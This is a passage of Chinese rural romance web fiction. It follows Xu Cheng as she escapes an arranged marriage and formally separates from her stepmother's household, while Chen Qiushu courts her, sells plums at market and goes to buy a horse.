因为家家都忙,也没人出村,刘叔他家儿子多,家里的农活用不着他干,
今早就载着陈秋树来了县里,中午不回去,干脆去北边码头给别人拉货,一天也能赚个几十文。
头顶的大树长得郁郁葱葱,两人在树下有一搭没一搭的
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聊着,莫约一炷香的时间。估计不会有人过来,刘叔刚准备挥鞭子走人。
就见许橙从城门口小跑过来,边跑边喊等一下。
听见声音,刘叔把要往前走的老牛拽停了下来。
许橙吭哧吭哧爬上车,看到陈秋树在车上,叫了句,“秋树大哥”,反正她是学着王旭那样喊的。?
陈秋树点点头。见许橙身前的背篓里有不少布头,知道她是去布庄买布来做香囊。
“许姑娘,这是这是去了秀坊……,”说完还起身拉了许橙一把。
许橙坐稳了才轻轻答道“恩,去看看有没有新鲜料子,顺便买些秀线”
陈秋树:“许姑娘手真巧”
许橙“……”
陈秋树再一次觉得对面的姑娘很漂亮,,眉眼弯弯,朱唇粉面。穿着那套水蓝色衣裳,坐在那里眼神乱飘。
许橙现在羞愤得恨不得从车上跳下去,在陈秋树的目光下,脑海里不断回放那日在山脚下,杨婶说的那些话,他肯定是听到了
陈秋树一直盯着她看,这让许橙有种无地自容的感觉,一张脸直接红到了脖子,
半响实在受不了,直接迎上贺陈秋树的目光,故作冷静用眼神警告他,“看什么看?”
陈秋树:“?”
这时陈秋树也意识到自己不礼貌的行为,假意咳嗽两声,偏头跟前头刘叔说话去了。
见人不再关注自己,许橙在心里松了口气,开始想她要绣什么样式的荷包,赏花节过后,卖香囊的生意差了一大截,换做以前她觉得这没有什么,但是赏花节那几日,她赚了不少,两相一比,现在就有点不够看。
今天去买布,顺便看了看铺子里的香囊,打算做几个细致的,试试能不能卖到铺子里去。
虽说现在才刚入夏,但是谁叫她家徒四壁,得为冬天的日子好好打算打算。
前段时间下雨,导致长溪村这条土路坑坑洼洼,还没来得及填补,一路抖得陈秋树屁股疼,
一向赶车很稳的刘叔光顾着说话,不留神,车轱辘就滚到了一个水洼里,,许橙正在想事情,手上没扶好车沿,
身体晃了几下就要往前摔去,
陈秋树一向都是手疾眼快,反应麻利的,
单手刚好把许橙捞了过来。
顿时两人都愣住了。
一瞬间陈秋树想起了书里描写的,“玉软花柔,温香软玉”。柔软的触感让他五指都变得僵硬,
这是可以摸的吗?
!!!
陈秋树心如擂鼓,手悄悄的往下移了一点,落在了纤细的腰间
许橙感觉腰上腰上一紧,脸色爆红,,在心里呐喊,啊,救命!
犹如惊弓之鸟一样快速起身,坐到了对面的位置上。
陈秋树……
“抱歉,我不是故意的,情急之下……”
“闭嘴”,许橙抬头看他
陈秋树看着眼前红得跟小苹果一样的许橙,觉得自己的手都是酥酥麻麻,没有知觉。
刘叔眼观鼻鼻观心,表示什么都没看到,这会也不和陈秋树聊天了,专心赶自己的车。
13. 吵架
到了长溪村,许橙拿上自己的东西飞快下了牛车。
见状陈秋树和刘叔打了个招呼就赶紧追上去。
陈秋树:“许橙,许橙,你等等”
许橙:“秋树大哥,这已经很晚了,你快回去吧,我先走了”
陈秋树看了看还挂在半山腰的太阳,心想,“这不是还早吗?
其实他也不知道为什么要跟上,毕竟两人都清楚,这只是意外,完全可以心照不宣的当做无事发生。但是他就是想跟,想解释……,他真的不是个登徒子。
陈秋树追是去和她并排走在一起,“别给自己气坏了?”
陈秋树“我真不是故意的,当时那样的情况,你知道的……”
许橙停下来,两只眼睛覆上了一层水雾。
陈秋树:……
陈秋树:“怎么还哭上了,我当时可是救你,才……”
“好了,别哭,我错了行吗,”真男人从来不沾口头功夫,能屈能伸才是真本事。
“走吧,我送里回家”
许橙一言不发的低头走在前面,其实她并没有生陈秋树什么气,这不怪他,反而应该感谢他。
只是陈秋树跟上来的那瞬间,她就控制不住,感觉眼睛水特别浅,稍微不注意就要溢出眼眶。
两人一前一后的走在田间小路上,一块块水田相接连成一片明镜,映出霞光绚烂的色彩。
夕阳把脚下的影子拉得老长。让陈秋树想起了两人第一次见面的场景,也是这样一前一后的走在夕阳下,当时他还以为许橙是谁家的小兄弟。
他一路把许橙送到了家门口,虽然其实他只是一直跟在许橙身后。
因为没有院墙,两人走出小道,就看见了站在院子里,穿着一身粉衣的许水秀。
许橙的同父异母的妹妹。
许水秀:“阿姐”
许水秀见到许橙和陈秋树一同走来,上上下下的把两人打量了一遍。
目光停留在陈秋树身上,有点考究的意味。
许橙回过头和陈秋树说了几句话,意思就是让他快点回去。
人家妹妹都在这里,陈秋树也不好再说什么,叮嘱了几句,晚上关好门窗就离开了。
看不见人了,许水秀才把许橙拉到自己身旁。
“姐,他怎么跟你一起回来,你们什么关系?”
许橙没搭理她颇为不满的语气,反驳道“你别乱说,他是去王叔家,刚好路过”
许水秀不信,背地里翻了个白眼。“我这都等你半天了,站得我脚都疼了”
许橙拿钥匙开门,拿了条凳子放在门口,“站累了你就坐着”
许水秀“得了,得了,这都快天黑了,我还要回家吃饭呢,我这是偷偷出来的,爹娘都不知道。我就是想跟你说句话”
许橙疑惑的看着许水秀“什么事?”
许水秀张了张口,凑近了许橙的耳边,“我今个起得早,听见我娘和王媒婆说要让你嫁给那个冯二宝。”说完两只眼睛都皱在了一起。
许水秀。“冯二宝那人不行,我可不同意,又丑又穷酸”
许橙脸色一白,胃里一阵翻江倒海。
要说许橙讨厌一个人,那就是这位冯二宝无疑。
冯二宝是隔壁村冯家的大儿子,,今年二十五了,是他们哪个村子里出了名的老光棍。
这人品儿不行。手脚不干净,成天到处偷鸡摸狗。
几年前还偷到了家里头来,被许橙刚好逮了个正着。
光是想想要和这样的人有关系。她觉得还不如一条白绫吊死来到痛快。
许水秀见她一副吃了耗子黄一样的表情,“那啥……,你自己好好想想怎么办,我就先回去了”
许水秀离开,许橙还站在哪里反应不过来,如果这是真的,她是得好好想想怎么办。
…………
第二天,许橙没有去集市卖东西,草草的吃了个早饭,就坐院子里绣花。
一直到过了半上午,,觉得时间时间差不多了,才收拾收拾出了门。
村子里格外安静,这会大家都在田里干活插秧,没功夫到处闲逛。
她来到了村子最西边的一户人家,敲了敲门,不一会一个穿着大红花衣服的妇人就来开了门。
许橙“王姨”
看见来人是许橙,王春雀还起先愣了一下,不说是给人做媒的,立马笑着说,“哎呀,这不是橙子吗?是来找小凤玩的吧?,
“真是不巧,小凤去她外公家玩去了,过两日回来,”
“你瞧瞧,我这刚要准备出门呢……”说完还理了理身上整整齐齐的衣裳。
“王姨,我是来找您的,”许橙说着从篮子的拿出了准备好的荷包。
许橙:“我看着这料子颜色鲜亮,绣了两个荷包和香囊。想着这花色衬您,这就给你送过来了”
荷包是桃粉色,上面绣了大红牡丹花,和翠绿的叶子,当真好看,王春雀很是心动。
她吃过的盐比这娃娃走的路还多,,当然知道这是有事了。
王春雀:“害……你这孩子,咋还送东西呢……”
还没说完就被许橙打断了,“王姨,您就收下吧,我就是想问您两句话,没有别的”
……
看着这个跟自己女儿一般大的女娃,半响,王春雀叹了口气,拉着许橙的手进了门。
院子里没人,王春雀拿了个凳子给许橙坐。
“橙丫头,你今日过来是知道了你和冯家的亲事,!”
许橙点点头,本来只是怀疑大些,不过现在她确认了
她在心里酝酿了一番。
“,王姨,我知道后娘是为我好,怕我以后没个依靠,可是……,可是……”说着说着,两滴眼泪就掉了下来。
“您知道,我和柳家的那事人人皆知,名声尽毁,这会儿嫁人怕是要落人口舌,就怕影响人家。将来定然是受婆家欺凌。”
许橙抽了抽鼻子,抬起袖子在眼角上擦了擦。
“王姨,说出来都不怕您笑话,我今后打算自个儿过日子,不愿到那家去惹人嫌”
王春雀看她不停的擦着眼泪,心中可怜,语气都轻柔了些。“傻孩子,你说啥呢?,这不嫁人自己咋过日子”
“那冯家儿子是个混的,但有家里爹娘压着,日子也不一定难过。
许橙“那能压多久,指不定一家人嫌我是个丧门星,给几棍子打死了”<
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p>“呜呜呜”
王春雀看她哭成了泪人,“哎呦,看你这样子大概也镇不住他,是个受人欺负的命,”
“罢了,罢了,我这就去给你回绝了,这事也还没个定数,当不得真”
许家的老早就找她去和冯家通气。王春雀其实一开始也觉得两人不合适。奈何冯家刚好有意。又给了二两银子的喜钱。
许橙长得瘦瘦小小,但一身皮肤随了她的亲娘,生得白净。
那冯家儿子估计就是看上这点。
王春雀看了看许橙,觉得她是个乖巧的,和冯家儿子半点不般配。二两银子罢了,将来多凑两桩好事就有了。不能做那昧良心的事,毁了自己好好的名声。
过了一日王春雀才找上许橙让她放心,这事儿就算是过了。
得到了满意的答案,许橙才去许家,她已经不把那里当自己的家了。
这样的事有一就会有二,这次她来得及阻止,那将来呢,怎么办!
她要彻底和那家人脱离关系!。
她的人生怎么可以掌握在别人手里。
许橙没有直接进门,在屋后找了个地方躲了一会,直到屋子里飘出了午饭的香味,确认许家饭菜上桌,开始吃饭,她才装做一副有气无力的小跑进屋,急吼吼的抢过许平的碗就往嘴里扒饭。
许平是她继母生的小儿子,刚满五岁,溺爱成了副狗嫌猫厌的脾气。
许橙夹了一筷子肉塞进嘴里,一滴滴豆大的眼泪往下流,在脸上留下两道水痕。
正在吃饭的一桌人直接愣在当场,许平摊开空荡荡的手,哇哇大哭起来。
率先反应过来的张翠芬气得直跳脚,对着许橙大喊大叫。扑过来要抢她手里的碗“个丧良心的东西,连你弟弟的东西都要抢,你还是不是人”
许橙一个侧身躲过了扑过来的张翠芬。
她两眼汪汪的看向许顺财,“爹,您就眼睁睁的看着女儿一人在外受苦挨饿吗?”
“女儿在独自一人顿顿食不果腹,在外受人欺凌,无依无靠,爹爹当真忍心”
许顺财看着这张和亡妻有七八分相似的脸,一时间生出些怜爱,毕竟这也是他的女儿。
张翠芬见势头不对,一把把小儿子塞进许顺财的怀里。
许顺财抱着哇哇哭的儿子,心疼得不行,伸出布满老茧的手给他擦眼泪。刚刚生出的愧疚之心烟消云散……
顿时觉得自己这个大女儿当真是不懂事
“你也是,来吃饭就吃饭,怎么还从你弟手里抢吃的?”
许橙平静得很,早就应该知道的。
倒是一直安安静静吃饭的许水秀背着大家偷偷的瘪了瘪嘴。
把那点不好的苗头按下去,张翠芬撇了许橙一眼,一副有持无恐的样子说道,“许橙,你可别说我们狠心,这一大家子都要吃饭呢,。你这都是嫁人了,那还有再回娘家白吃白喝的道理?”
“人柳家多好的人家,你自个不争气,新婚之夜就被扫地出门,怪得了谁!”
“还好意思回来。别害了我们秀姐儿以后的好亲事”
张翠芬现在还气着呢,明明那冯家儿子就对这小蹄子意思,说好的五两聘礼,这会儿说不成就不成了。
14. 分家
许橙张了张嘴,没有说话,一脸茫然的看这一家人,。半响才颤抖着声音问,“这也是爹爹的意思吗?”
许顺财移开目光,没有再看许橙,“橙子,不是爹心狠,只是你也大了,确实不方便住在家里,后山那屋子不是挺好,你自己住也宽敞,粮食不够吃可以从家里拿点。”
说完他起身准备离开。
许橙当然不会给他这个机会,他喊了一句“您当真不管女儿了”
许橙:“我确实也不该连累妹妹和小弟的名声,既然这样,还请爹爹找来长老里正,做个证明女儿今后绝不叨扰爹爹”。
听见这话许水秀立即放下碗筷,“我去,我去,我去找”,说完就飞快的跑出来了门。
张翠芬没来得及拉住女儿,骂了句“这死丫头,跑啥跑”。她还想让许橙这小蹄子卖个聘礼钱呢?
许顺财一脸茫然的站在原地。
许橙感觉还不够,这事儿想成,还得再来一个实在的。便开口说道“爹,我娘留给我的那二亩水田,女儿想要自己种”
这话一出,许顺财脸都白了,他从来没把这话当真,姑娘长大了就是别人家的,那有要分自家田地的道理。
张翠芬更是急了眼,“你个白眼狼,把你养这么大,你倒是把自家东西都惦记上了”。
许橙这会儿也不装什么柔弱了,眼角的泪都收得干干净净,“爹,您忘了,你在我娘的床前亲口答应的,许家几个叔伯都知道”
许顺财当然知道,许橙的亲娘临终前说过,不管他是否再娶妻,只想把从娘家带来的二亩地留给许橙,。当时还请了几个叔伯长老作为证人。
没办法,她娘是个孤女,没有亲人,家里就二亩地,嫁给许顺财就带进了许家,当然只想留给自己的女儿。
张翠芬拍胸捶腿,“我的命怎么这么苦,这是养出了个什么东西,……养出祸来了”
许橙才不管两人什么想法,任凭张翠芬又哭又闹,
“爹爹要是舍不得,那我就不要了,给我十两银子就行,一亩地可要卖八两呢?”
听到他要钱不要地,许顺财脸上稍微缓和了一下,转念一想,许橙已经得了屋子和竹林,现在还要想法子从他手里拿东西。真是大逆不道。
他没有这样的女儿,指这许橙的鼻子说,“,你给我滚出去。”
许橙:“爹爹,这是不承认了”
“你……”
许顺财气急,奈何本来就是寡言少语,一时之间无法反驳。
许橙本来也没想过能真真要回来,不说她一个女娃子,那些个叔伯太爷答不答应。
这口头承诺最是作不得数,无凭无据。只不过仗着还有几个人知道。唬一唬人,让他们下定决心和自己断了关系罢了。
至少不能让张翠芬再来左右她的亲事。
…………
没一会许水秀就带着许家几个有声望的老太爷和里正走了过来。
张翠芬心里算盘打得啪啪响,地和钱她是一样也不想给,倒不如干脆和这糟心丫头撇个干净。
硬是从眼睛里挤出了几颗水来,
张翠分:“三叔公,爹,,你们可算是来了,我这个后娘当得苦啊,好好把女儿养大,这都嫁人了,还来家里要钱要地,”
“这让人咋活,平哥儿眼看着就要交束脩,这可咋办……”
“里正,您得给好好的评个理,这都什么事儿!”
许水秀给几人相继找来凳子坐下,乖乖巧巧的上了茶。
里正让许顺财一五一十的把事情交代了。
几人又问许橙在到底在他柳家出了个什么事儿?
得知许橙是带了合离书回来的,再和柳家没有了关系。松了一口气。
许橙给几个长辈问了礼,慢慢说道“里正叔,太爷爷,我即是已经合离,也知不该再来打扰家中日子,只是眼看就要过了六月,我娘当初留给我的二亩地,我不过是想种些东西留着过冬!”
听见这话,张翠芬立马就跳出来反驳,“,当初你刚从柳家回来,我们瞧着可怜才给了你么一片竹林,别以为我不知道你天天出去卖竹笋,没想到你这丫头是个不记恩的”。
真是气得她心口疼,原本以为把许橙嫁去冯家还能把竹林收回来,这下子好了!。
屋子里坐着的几人交换了眼神。
当初许橙娘的病床前几人都作了个见证,按照里正的意思,就是人家娘死前最后的心愿,当初不是人人都应了声好吗?,现在又来说是不作数的玩笑话,岂不是要贻笑大方。
几位许家长辈就不太愿意了,说到底不过是偏心许家,觉得闺女都要嫁人,许家的东西自然是不能给出去。
默了几息,许橙的爷爷终于开口“橙姐儿,这是想分出去单过,按理说这爹娘在不分家,你且还是个女娃子,让你爹娘另寻一门亲事,怎么也好过一个人,”
许橙:“爷爷,这些年我过得如何,明眼人都清清楚楚,你可以去看看我那柴房里,可有半分人住的模样,“
“我今日过来,一是想拿回我娘的田地,二是想请里正理定一个文书,不想有心人来左右我的日子,再想找个无良人家把我给送出去。”
听见这话,屋中几人纷纷看了张氏一眼。
无知妇人。
“橙姐儿,虽说你后娘做事不周全,但也把你拉扯这么大了,你何必把家里闹得乌烟瘴气。”
这位说话的太爷爷是许家年纪最大的一个长辈,比许橙爷爷大不了多少,却是差上一个辈分,,在许家这一大家子中倚老卖老,一向是说一不二的人。
许橙不想在和这群人周旋。开口说道“我知爹爹养我不易,若是家中能匀出十两银子给我过冬,那田地便当是孝敬爹爹了”
“你……”张翠芬立在一旁,肮脏之词即将脱口而出,被许顺财给打断了。
“,去拿银子给她吧!”,他丢不起这个人
张翠芬还想说什么,见自己男人脸色不好,硬生生的憋回去了。
三步一跺脚的去了里屋。
许顺财表了态,事情就好办得多了,下午里正就理了一份文书,双方
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签字画押,许橙才缓缓松了口气。终于不用莫名其妙的嫁人了。
事情结束,都要快要赶上了吃夜饭的时辰,许橙一身轻松的回到家,哼着小曲儿开始哐哐哐的剁肉馅下饺子。
这边陈秋树连着忙了两天,这会刚刚下值,想着那日牛车上的事,估计许橙那里还别扭着,也不急着回去,转而拐进了一家甜品铺子,挑了些精巧的糕点,想着得把人哄好了来。
…………
晚上凉风习习,估计又要下雨,这个月是雨季,刚好省得给田里灌水,小路两旁的水稻长得郁郁葱葱,过不了俩月就要开始抽苔。
陈秋树拿着买好的东西,停在了王家院子门口,眺望不远处的小屋飘出缕缕炊烟,决定先去王家看看,等会人家吃了晚饭再过去。
正准备敲门,王贵婶就从里面把门打开了,手里还提了一览篮自子鸡蛋和一块肉。面上还带了点焦急之色。
见到陈秋树过来又面露喜色的拉人进了屋。
忙着叫孩子倒水,又要留人吃饭。
陈秋树和大家打了招呼,问王婶提着的一篮子东西,便问上一句
“婶子这是要出门?”
王桂婶一拍大腿,“你看看我这记性”
“你且先坐着,我去去就回,今儿你叔买了块五花肉,已经炖上了,待会留这儿吃饭。”
说完不等陈秋树回话,就急匆匆的出了门。
陈秋树无甚在意,把买来的糕点拿了一份出来给小孩子分着吃,就和王贵叔跟旭哥儿聊一块去了。无非就是一些摊子上的事,生意倒是不温不火,每日两三百文。
几人聊了一会,灶屋里炖着的肉飘出了香味儿,王小妮和王冬冬俩人馋的直流口水,虽然王家日子好过了点,但还达不到富裕的程度,家里东西还得一样样置办,定是不能把好吃的都一次吃个够了。
没一会王贵婶提了个空篮子回来,看着心情不错。
一家人围着桌子开始吃饭,五花肉放了点酱和辣椒加上几个芋头炖得软烂,肉香扑鼻,是一道下饭的好菜。
王家人没有说食不言的习惯,那不得把人闷死,几人你一言我一语说着。
王贵婶就叹了口气。“发生这样事,原以为橙姐儿当下难过,没成想她倒是看得开,刚才过去看着人好好的,我也就安心了”
这话一出,陈秋树立马竖起了耳朵,追问发生了什么事?
原是今日下午许家叔伯回去和自己家里说了许橙闹着分家的事。知道的人一多总会有那一两个爱往外抖事情的。
这会儿都在村子里传开了,王婶也是今儿旁晚到河里洗衣裳听来的。刚刚就去许橙那里看了看。
得知此事,凳子上仿佛长出了无数钉子,陈秋树如何也坐不住。
三两口把碗里饭扒干净,就起身告辞。留下一脸茫然的王家人。
夏季日头长,到了酉时太阳还挂在半山腰。
许橙把煮好的饺子捞出来放一边晾着,就转身去整理王婶送过来的东西,在心里琢磨下次去买些东西也给人家送过去。
15. 心意
“咚咚咚……”
她正想着事情呢,被突来的敲门声惊了一下,手里的鸡蛋差点没拿稳。
迎声望去,天气太热,木门敞开没关,一道修长的身影站在门前的太阳光里,抬起来敲门的手刚好落下。
“秋树大哥?”看见来人,许橙很是意外。有些慌张的把鸡蛋放下,才招呼人进屋里来坐。
陈秋树也有些拘着不自然,,怎么回事?,他以前不这样啊?
“我刚才去找王叔有点事情,,就顺便来看看你”
……
“多谢秋树大哥关心”
许橙一时半会也不知道和陈秋树说些什么,看见还冒着丝丝热气的饺子就问了句“吃夜饭了吗?,我这刚煮了饺子,没吃就在这将就一下”
陈秋树刚刚着急过来看看,确实没吃饱,冷不丁听见有饺子吃,想也不想就点头应是。
见他应下许橙心里也有些雀跃,往两个装了酱油的碗里切了点小葱,顺便又往锅里下了碗饺子。
木桌上摆了一碗炒韭菜炒鸡蛋,一盘子饺子,各各皮薄馅大,看着就让人胃口大开。
许橙把调好的酱油汁放在陈秋树桌前,笑着说道“快尝尝,看看合不合胃口”
陈秋树在一双亮晶晶充满期待的目光里,夹起一个白白胖胖饺子,在酱油碗里滚了一圈,放进嘴里。
小葱猪肉陷的,肉鲜还带着汁水。
他点点头夸赞“手艺不错,很好吃,,这是我吃过最好吃的饺子”,说完又夹了一个放进嘴里。
见他吃得香,许橙也拿起了筷子坐在对面吃了起来。
俩人你一个我一个的把两盘饺子吃完,之前的尴尬一扫而空。俩人自然的唠起了家常。
左右是陈秋树在说,许橙听着,偶尔跟上那么一两句话。
陈秋树硬是把玉友楼那些能说不能说的糗事都说了一遍,
比如掌柜摔跤刚好摔到灶房的垃圾桶里,起过身来一脸的菜叶子。
小二擦桌子捡到食客钱袋归还,人家以为是他偷的,找着掌柜要理儿。
食客和食客争用窗边桌子。差点打起来……
这些的八卦事儿被他说得有声有色,就像是当面见着了一般。
某些时候许橙险些忍不住笑出声来。
见她笑的开心,脸上没有强撑之色,陈秋树放下心,就怕这姑娘半夜偷偷躲被子里哭鼻子。
半山腰的太阳不知什么时候已经落下,田野里响起了此起彼伏的蛙叫声。
陈秋树口干舌燥,端起桌上的水一饮而尽。
吃饱喝足聊了个开心,,他才想起把放在衣服里的糕点拿出来。
“今天下值得早,看到铺子里有甜糕,顺便带了点过来,你尝尝,听掌柜的说是这月新出的荷花糕”
许橙愣了一下,第一反应给推了回去,“你拿回去吃吧,我不要”
陈秋树不急不缓,打开油纸包拿出一块递给许橙,“,尝尝,应该好吃的,我不爱吃甜食,”
见她不接,陈秋树假意严肃,“你不吃,我扔了啊?”
许橙心里不知是何滋味,秉着不能浪费粮食的精神,双手接了过个,轻轻咬了一口,,很甜,的确带着荷花沁人的香气。
陈秋树嘴角上扬,“看看,我就说好吃吧,”
“剩下的你留着,天不早了,一会要是天黑了走夜路,怕不是要掉田里去,我先回去了”
许橙被他话语逗笑,嘴里的东西又没咽下去,忙着站起来送人,说起话来含糊不清,“谢谢你,路上小心”
陈秋树站在门口朝她摆了摆手。
等人消失在小路尽头,许橙才轻轻把门关上,一阵晚风掠过,只觉得格外凉爽,云绕鼻间的荷花香久久不散。
转眼到了七月初,大中午的太阳热得可以晒脱一层皮,陈秋树坐在树荫底气乘凉,身前是一片已经挂果成熟的李子树。多亏了他辛勤疏果,树上的果子个大多汁,长得及好。
最让陈秋树惊喜的是,几颗李子树是糖李。黄绿色的果子上可以清晰的看到一条条纹路,这种李子比其他品种的甜度高,,果肉脆骑鹅脱核,入口先酸后甜,甜多酸少,果味浓郁。品相和质量都是上好的。
陈秋树叫了王家人过来摘,明天一早带到集市上去卖。
他一边拿着蒲扇扇风,一边招呼王家两个孩子过来喝水,怕给孩子热得中了暑。
这会儿树阴底气已经装满了三个竹篮子,他见差不多了就准备收工回去。
不知是不是在李子树下转悠久了,身上被虫子爬过,皮肤有些刺痛,还痒得慌,得赶快回去洗个温水澡,
再说王家下午还得准备明天要用的食材。不能当误。
几人顶着大太阳回到王家,除了王小妮和王冬冬以外,几人都热得很,排排坐院子里喝王贵婶熬好的绿豆汤,
陈秋树一路上都挎着一篮子李子,太阳又烈,,一时脸色有些发白,胳膊酸疼双脚打颤。
看得王家人惊慌失措,赶紧拉了个凳子扶他坐下。
,
等缓过那口气,陈秋树才把框里的李子分出两袋子来,一袋留着给王家吃。
不是说只能吃他分的这一部分,那么多李子树,想吃还不是可以吃到饱,只是如果他不提前分出来,王家人是绝对不会要一分一毫。
另一袋自然是要送去给许橙的,剩下的就是明天要拿去卖钱。
因为有了玉友楼的月银,陈秋树攒下了不少钱。正打算这两日去买一辆马车,每天需要拿的东西太多,天天坐刘叔的车即是影响别人,也的确不够方便。
把事儿说完,他就不继续在王家影响他们做事,准备去许橙哪里看看她回来了没有。
没想俩人刚好在王家门口碰上,许橙绣了大半个月荷包,今日拿着绣好的香囊荷包走遍县城里好几家卖布匹成衣铺子。
终于是有一家觉得绣得可以,以一个荷包十文,一个香囊十三文,一块绣帕八文的价格收了去,另外几个画面绣得多秀的精巧的,就像是送给王春雀的
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那个牡丹花,是二文一个。
那铺子生意不错,临走前还送了许多布头给许橙,,让她早些绣好了送过去,这相当于是意外收获。
因此她的心情特别好,想着王家对她多有照拂,这会儿有了银子,去买了一挂猪板油,这玩意儿比肉贵,四斤花了差不多100文,又去包了两斤甜枣糕才高高兴兴的回村,一路上听说一些闲言碎语都感觉不到所谓。
没想到在门口就碰上了推门出来的陈秋树,声音清脆的叫了声“秋树大哥”
不知不觉间,两人的关系拉近了不少,没有最初的生疏隔阂。
刚开始陈秋树觉得许橙是坚强有韧劲的一个姑凉,两人相处还算自然,,后来无意间听见她和杨婶的对话,之后气氛又尴尬了一段时间,
后来慢慢的,不知怎么的,一见钟情也好,见色起意也罢,当许橙身穿水蓝色衣裙端着红烧肉从王家厨房里走出来。她身上那些原本陈秋树就很欣赏的发光点通通浮上心头,灼得心脏砰砰直跳。
知道许橙绣了荷包准备卖到铺子里,现在瞧见人如此开心,眼睛里像是缀了星星,就知道今日定是如愿了。
两人又一同回了王家,许橙把买来的东西拿出来,王贵婶看到是一整块猪板油,两人又是一翻推拒,最后王贵婶说熬好了要给她拿一碗,才算是安心收下。
许橙今日得了一件有盼头的事,解决了燃眉之急,笑意一直挂在嘴角,兴致勃勃的和王婶说今后要给成衣铺子送绣品,开心得不得了。
看着她鲜活的模样,陈秋树的目光是挪也挪不开。
这点小心思,早就被王贵婶察觉到了,曾经私底下问过他。陈秋树也没有隐瞒的意思,如实交代了。
他要先悄悄将人圈起来,等到许橙无法拒绝,再表明自己的心意,将来两人成亲,再生两个孩子,光是想想,就美得让人想笑出声来。
至于为什么不是现在……他记得那时杨婶撮合两人的时候,许橙是不愿意的,
想到这里陈秋树心里又有点不是滋味,想他一表人才,玉树临风,竟是个病秧子遭人嫌弃,暗暗下定决心要去买点温补的药材。千万不要影响将来的洞房花烛夜。
过了一会两人才一同离开了王家,陈秋树想和许橙多呆一会,索性就提着李子要送她回去。
人到了家门口,自然是要请进屋子里喝点水的。两人又坐下来聊了一会天,直到许橙拿出针线出来绣香囊,,他才恋恋不舍的离开。
这日清早,陈秋树飞快把昨日落下的账目全部整理好,验收完送来的货物就去告了假。
匆匆的来到了早市。
王贵叔的摊子已经开张,不少人正等着要买锅里的煎豆腐。
旁边木凳是摆了两篮子李子,看着并没有少多少。
“秋树哥”,王旭手上忙着炸芋头,见陈秋扒拉那两筐李子,怕他心里失望,便开口安慰“,现在还早着呢,待会人多了,好好叫嚷叫嚷,肯定能卖出去”
陈秋树点点头,不置可否。
16. 买马
眼下没什么事,陈秋树就在两个摊子中间来回打转帮着收钱。
都是周围摊贩铺子的人过来买去当早点吃,现在的人都缺油水,不介意一大早就吃油炸。
,这离背靠着山,一时半会太阳晒不过来,因此还算是凉快,过来买菜的妇人小斯也愿意多走走逛逛,看见什么新鲜东西就停下来瞧瞧。
陈秋树的李子卖相不错,看着水灵,买东西的人多了,就有人注意到,朝这边走来,
来人是个长得厚实的妇人。
她缇着篮子问:“这酸果怎么卖”
陈秋树:“五文钱一斤,”
大婶:“这果子瞧着新鲜,就是不知道酸不酸,太酸的我可不买”
陈秋树毫不犹豫的递了一个给她,反正没打过药,不用担心什么。“你先尝尝,喜欢再买”
妇人把李子放在手心里随便你搓了搓,就咬了一口,嚼吧嚼吧,,开口道,“也就看着好看,也不怎么样嘛!”
瞧着陈秋树一副文弱书生的模样。觉得这些知乎者也的人最是要面子,于是伸手又在篮子里拿了一个,扭着屁股离开了。
王旭有点气愤,心想要是不好吃,还拿什么拿,一把年纪要不要脸。
王旭:“什么人啊,这是!”
陈秋树不以为然,做生意嘛,这样的事总是要遇到的。“没事儿,一个李子而已,送她尝尝。”
说着又朝这边来了个男人,是对面粮油铺子的徐掌柜,和陈秋树三人也算是认识,王家父子那些难得般的东西,晚上就寄放在旭掌柜的铺子里,每个月给一百文钱
要说徐掌柜差这一百文?,定是不差的,他喜欢吃煎豆腐,刚好看王家一老一小,般来般去的麻烦,就好心的让两人夜里把东西放在铺子里杂货间里。
王家人是外来人口,又做了好些年的佃户,一直是关起门来过日子,面对外来的善意总是怯怯的,心中的不安全写在脸上。于是就有了每月给一百文的事儿。
徐掌柜脚下生风笑靥如花的走来。
和三人打了个招呼,又叫王旭照常做两份煎豆腐。
“陈兄弟,今日怎么得空过来?,”
陈秋树“家里的酸果今年挂了满枝,今日便告了半日假过来卖,要坏在地里岂不是要可惜”
王掌柜伸手在篮子里扒了扒“看着是不错,个儿大,”
说完直起身来两手叉腰,仰天长吁了一口气“你这酸果长得不错,肯定会好卖的,真是人逢喜事精神爽啊……”
……
什么?,怎么就突然精神爽了呢?……陈秋树眼皮抬了抬,开口说道,“掌柜今日如此开心,莫不是遇上了什么好事”
这句话仿佛问到了王掌柜的心坎里,顿时喜笑颜开。“可不就是?,作日大夫说家中内子已有孕三月有余,我这心里砰砰直跳,今早才反应过来,真是太不真实了。”
陈秋树道了句“恭喜”
王掌柜说完又跟反应过来什么似的,“哦,看我这是高兴得过了头,忘了你还没有妻子呢,自是不知初为人父的喜悦”
陈秋树:……大可不必如此……。
徐掌柜:“不说了,不说了,我得赶紧回去,这女人有了身孕,就是要娇贵些,回去晚了怕是又要发气”
这边王旭已经煎好了豆腐放进了油纸包里。
陈秋树装了半袋子李子,给他递了过去,“昨日刚摘的还新鲜,掌柜带回去尝尝,令夫人兴许会喜欢”
家里那位徐掌柜现在可宝贝了,这会儿听见也不推迟,接过来道了谢,大步流星的走了。
不知是不是被王掌柜的开门红,接着陆陆续续的来了好几波客人,临近午时,篮子里就剩下了半筐。
头顶的梧桐树上不断的传来蝉鸣,声音在炎热的空气里显得更加聒噪。街上行人寥寥无几。
陈秋树不打算继续卖了,剩下的带回去给玉友楼的伙计们吃。
王家父子已经再这儿摆了许多时间,街上的住户多多少少都知道这儿有个吃食摊子。
所以两人不急着走,没人的时候就坐树底下乘凉反正这时候地里也没啥事,就在这等着跟刘叔晚上那一趟回去。
陈秋树到了玉友楼就把剩下的李子分给大伙吃,顺便问了一下哪家马行靠谱,价格实惠。
阿袁:“那你可去冯家马行,虽然不是最大的,我可知道他家马养得最好,那马吃的草都是请人种的。”
“对,我前两天还看见他家牵了马过来,小先生要买,可要趁早,不然好马都让人挑了去了!”
,陈秋树得到自己想要的答案。就安心的工作去了。还没忘了自己现在是个打工人。
……
隔日,趁着午时休息,陈秋树去了一趟冯家马行,离玉友楼不远,走快些半柱香时间。
来到了骡马市,一股味儿直冲鼻腔,熏得人眯了眼睛,还有几个壮汉提着几桶粪便路过,别看这些只是粪便,到了需要肥田的时候也是拿来卖的。
陈秋树四处乱串,在各家马圈里挑选心仪的悍马,
在这个朝代,牛和马都是不能随便吃的,牛可拉物载人,耕田犁地,普通人家里要是有一头,就是半个家底了。
马就更不要说了,吃了是要下大狱的。毕竟一个国家的兴衰,马的功劳功不可没。
陈秋树挑来挑去,最后去的冯家马行,一眼挑中了一匹棕红色的公马,看着高大威猛,毛皮顺滑铮亮,这头马刚成年,正是最贵的时候。
